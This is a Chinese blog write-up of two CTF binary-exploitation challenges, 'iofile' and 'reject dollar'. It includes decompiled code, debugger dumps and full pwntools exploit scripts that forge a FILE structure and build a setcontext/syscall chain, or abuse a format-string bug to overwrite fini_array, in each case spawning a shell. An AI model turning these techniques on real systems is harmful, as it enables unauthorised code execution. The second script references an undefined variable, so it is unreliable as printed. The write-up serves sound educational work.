目录
前言
好久没有写Blog了,正好最近来了兴致。就要开学季了,又要忙喽~也不知道下一篇啥时候。这篇就送给有缘人好了。希望大家可以学到一些东西。
观安杯 iofile
$ checksec iofile
[*] '/hack/tmp/pwn_iofile/iofile'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护开得满齐全的。丢到 IDA 分析:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char choice; // [rsp+Fh] [rbp-11h]
__int64 v4[2]; // [rsp+10h] [rbp-10h] BYREF
v4[1] = __readfsqword(0x28u);
sub_1219();
sub_12BE();
while ( 1 )
{
while ( 1 )
{
printf("# ");
choice = getchar();
while ( getchar() != 10 )
;
if ( choice != '3' )
break;
puts("3.1415926535897932384626433");
}
if ( choice > '3' )
break; // error choice
if ( choice == '1' )
{
printf("Gift 1: %p\n", &printf);
}
else
{
if ( choice != '2' )
break;
if ( !dword_404C )
{
printf("Your ID:");
__isoc99_scanf("%llx", v4);
puts("Here comes the gift.");
*(_BYTE *)v4[0] = 0; // 任意写0 1次
dword_404C = 1;
}
}
}
exit(0);
}
发现是菜单题,其中选项1泄露了libc地址。选项2给了一次任意写 0 的机会。结合题目提示可以很快想到时打IO。但这里不是利用IO vtable漏洞了。而是利用fread任意写漏洞。方便介绍,我们以执行 scanf 后的情况为例:
$ tele &_IO_2_1_stdin_
0x000072ea26a038e0│+0x0000: 0x00000000fbad208b ← $r11 #_flags
0x000072ea26a038e8│+0x0008: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?) # read_ptr
0x000072ea26a038f0│+0x0010: 0x000072ea26a03964 → 0x26a0572000000000 # read_end
0x000072ea26a038f8│+0x0018: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?) # read_base
0x000072ea26a03900│+0x0020: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?) # write_base
0x000072ea26a03908│+0x0028: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?) # write_ptr
0x000072ea26a03910│+0x0030: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?) # write_end
0x000072ea26a03918│+0x0038: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?) ← $rsi # buf_base
0x000072ea26a03920│+0x0040: 0x000072ea26a03964 → 0x26a0572000000000 # buf_end
0x000072ea26a03928│+0x0048: 0x0000000000000000 # save_base
其中read_base
和read_end
指定的read buffer优先于buf_base
和buf_end
指定的buffer。而read_ptr
指示read buffer中地址最低的未写入内存的字符。因此可以看到执行完scanf
后\n
字符滞留在read buffer。因此下一次读取时会优先取出滞留在read buffer的\n
。回到本题,我们可以发现在执行完选项2时,程序即将调用exit()
函数。换言之,在执行完任意写0后。我们只有一次注入机会。也就是巧妙运用如下code注入:
choice = getchar();
while ( getchar() != 10 );
此前,我们提到在read buffer耗尽时会采用buffer来执行写入内存操作。也就是说,只要控制了buf_base
变量,我们能够控制写入起始位置。而修改buf_base
最低为0,使得buf_base
上抬/buffer扩容。故此,我们可以小范围控制注入内容。
$ tele &_IO_2_1_stdin_
0x000072ea26a038e0│+0x0000: 0x00000000fbad208b
0x000072ea26a038e8│+0x0008: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?)
0x000072ea26a038f0│+0x0010: 0x000072ea26a03964 → 0x26a0572000000000
0x000072ea26a038f8│+0x0018: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?)
0x000072ea26a03900│+0x0020: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?)
0x000072ea26a03908│+0x0028: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?)
0x000072ea26a03910│+0x0030: 0x000072ea26a03963 → 0xa05720000000000a ("\n"?)
0x000072ea26a03918│+0x0038: 0x000072ea26a03900 → 0x000072ea26a03963 → 0xa05720000000000a ("\n"?)
0x000072ea26a03920│+0x0040: 0x000072ea26a03964 → 0x26a0572000000000
0x000072ea26a03928│+0x0048: 0x0000000000000000
可以看到在修改完成后,buf_base
指向write_base
。故此,在下一次操作中。我们可以修改buf_base
和buf_end
从而控制buffer缓冲区位置。如下所示:
$ tele &_IO_2_1_stdin_
0x0000731e086038e0│+0x0000: 0x00000000fbad208b ← $rbx
0x0000731e086038e8│+0x0008: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e086038f0│+0x0010: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e086038f8│+0x0018: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e08603900│+0x0020: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e08603908│+0x0028: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e08603910│+0x0030: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e08603918│+0x0038: 0x0000731e086044e0 → 0x00000000fbad2087
0x0000731e08603920│+0x0040: 0x0000731e086054e0 → 0x0000000000000000
0x0000731e08603928│+0x0048: 0x0000000000000000
我们成功将buffer缓冲区篡改到_IO_2_1_stderr_
。此外read ptr==read end,导致下一次读入直接注入到buffer中,也就是_IO_2_1_stderr_
中。需要稍微停顿一下,否则程序会认为任然注入在old buffer中。于是可以伪造stderr
。由于某种原因,导致在调用system时程序被上锁进入等待。因此,我决定使用syscall。
from pwn import *
from PwnModules import *
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
def choice(item):
if isinstance(item,int):
item = str(item).encode()
io.recvuntil(b"# ")
io.sendline(item)
def gift():
choice(1)
def one_more(addr):
choice(2)
io.recvuntil(b"Your ID:")
io.sendline(str(addr).encode())
def pi(chunk_id):
choice(3)
local = True
if local:
io = process("./iofile")
else:
ip = ""
port = 1111
io = remote(ip, port)
elf=ELF('./iofile')
libc=ELF('./libc.so.6')
# leak libc
gift()
io.recvuntil(b"Gift 1: ")
printf=int(io.recvline()[:-1], 16)
libcbase = printf - libc.sym.printf
libc.address = libcbase
success("printf : 0x%x" % printf)
success("libc base : 0x%x" % libcbase)
# calculate some informations
stdin = libc.sym._IO_2_1_stdin_
stdin_bufbase=stdin+0x38
stderr = libc.sym._IO_2_1_stderr_
system = libc.sym.system
setcontext = libc.sym.setcontext
vtable = libcbase + 0x202030
_IO_overflow = vtable + 0x18
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
setcontext = libc.sym.setcontext
p_rax_r = libcbase + 0x00000000000dd237
syscall_r = libcbase + 0x0000000000098fa6
# fix buf_base
one_more(hex(stdin_bufbase))
# fake stderr
fake_io_addr = stderr # 伪造的fake_IO结构体的地址
vtable = _IO_wfile_jumps + 0x30
call_addr = setcontext+61
next_chain = 0
fake_IO_FILE = b'/bin/sh\x00' #_flags=rdi
fake_IO_FILE += p64(0) * 7
fake_IO_FILE += p64(1) + p64(2) # rcx!=0 (FSOP) _IO_save_base=2
fake_IO_FILE += p64(fake_io_addr + 0xb0)#_IO_backup_base=rdx
fake_IO_FILE += p64(call_addr) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(stderr + 0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x30) #_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(vtable) # vtable=IO_wfile_jumps+0x10/0x30
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr # 0x110
io.recvuntil(b"# ")
payload = p64((stdin_bufbase>>8<<8) + 0x63) * 3 + p64(stderr) + p64(stderr+0x1000)
io.send(payload)
# note:finally the program will do xor eax, eax. so must recover rax
frame = p64(0) * 13 + p64(stderr) # rdi
frame += p64(0)* 3 # rsi rbp rbx
frame += p64(0) # rdx
frame += p64(59) # rax
frame += p64(0) + p64(stderr + 0x190 - 0x28 - 0x10) # rcx rsp
frame += p64(p_rax_r + 1) # rip
frame += p64(p_rax_r) + p64(59) + p64(syscall_r)
# pwn
sleep(3)
io.sendline(fake_IO_FILE+ frame[0x68:])
io.interactive()
观安杯 reject dollar
$ checksec pwn
[*] '/tmp/pwn_reject_dollar/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
丢到 IDA 里面分析,可以看到是一个菜单题。因此逐一分析菜单功能。
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
case 1:
memset(byte_4035A0, 0, 0x100uLL);
printf("Enter your message > ");
check(0, byte_4035A0, 0x100uLL);
memcpy(s, byte_4035A0, 0x100uLL);
break;
leave message功能从结果上看将注入字符串拉取到了栈空间,并且不存在溢出现象。此外,还对注入字符串执行了如下的检查操作:
unsigned __int64 __fastcall check(int a1, void *a2, size_t a3)
{
size_t i; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
read(a1, a2, a3);
for ( i = 0LL; i < a3; ++i ) if ( *((_BYTE *)a2 + i) == '$' )
{
// ...
exit(1);
}
return v6 - __readfsqword(0x28u);
}
可以看到上述功能仅仅检查注入字符串是否存在$
。接下来我们来到sort message功能,其主要功能如下:
case 2:
bubbling_sort(s);
printf("Sorted message: ");
printf(s);
break;
从总体上看,存在格式化字符串漏洞。因为s属于栈空间,因此我们并不需要找链。随后进入bubbling_sort
查看冒泡排序的功能实现。很快就发现如下设计使得冒泡排序是无效的:
for ( i = 0LL; a1[i] != '\n' && a1[i] != Null; ++i ) ;// 会被\n截断
其默认字符串会被\n
和\x00
截断,但leave message功能中采用read读入字符串。故此massage并不存在\n
截断和\x00
截断的情况。排序操作一旦绕过,格式字符串漏洞的攻击效力将可恢复如初。而puts original message功能没有任何疑点。
case 3:
printf("Original message: ");
puts(byte_4035A0);
break;
大体上,我们可以确定使用格式化字符串漏洞泄露和攻击。我们可以从栈空间上获取得到stack地址和libc地址。但程序主动调用exit()
退出,导致main函数的retrun address并不能被攻击。从最开始的安全机制检查可以发现got表可改写。这里有两种改写思路:
-
改写
puts@got
为system,注入/bin/sh
字符串,调用puts original message功能 -
改写
exit@got
为setvbuf(stderr, 0, 2, 0)
,改写setvbuf@got
为system
,改写stderr._flag
为/bin/sh
但是本人在做题时误认printf("Sorted message: ");
为puts("Sorted message: ");
。因此没有选择第1种攻击方式,第二种的创造性思维也是头一回学习到。因此,我选择攻击fini.array
。利用到如下调用链:
exit -> _dl_fini -> fini.array
与此同时因为$rbp
比较难控制在libc上,所以并不能实现栈迁移。那就冒险打一手one gadget,恰好发现存在one gadget可以调用。
from pwn import *
from PwnModules import *
context.os = "linux"
context.arch = "amd64"
def choice(item):
if isinstance(item,int):
item = str(item).encode()
io.recvuntil(b"Enter your choice > ")
io.sendline(item)
def send_msg(msg):
choice(1)
io.recvuntil(b"Enter your message > ")
io.send(msg)
def show_msg():
choice(3)
def show_sorted():
choice(2)
local = True
if local:
io = process("./pwn")
else:
ip = ""
port = 1111
io = remote(ip, port)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
payload = b'\n' + b'%p-' * 43
send_msg(payload)
# leak stack + libc
show_sorted()
io.recvuntil(b'\n')
stack = int(io.recvuntil(b'-')[:-1], 16)
canary_addr=stack + 0x108
for i in range(42):
recv_str=io.recvuntil(b'-')[:-1]
print("recv_str : %s" % recv_str)
libcbase = int(recv_str, 16) - 0x29d90
libc.address = libcbase
success('libc base : 0x%x' % libcbase)
success('stack : 0x%x' % stack)
one = libcbase + 0xebd3f
# fix fini.array + 0x18 : 0x0000000000403300
for i in range(6):
num = (one >> 8 * i) & 0xff
num = (num - 0x3c + 0x100) % 0x100
payload = b'\n' + b'a' * 7 + f'%{((leave_r & 0xff) + 0x40 - 0x17) + num}c'.encode() + b'-%p'*14 + b'-%hhn' + b'a' * 4 + p64(0x00000000004032e8+i)
send_msg(payload)
show_sorted()
#pwn
choice(4)
io.interactive()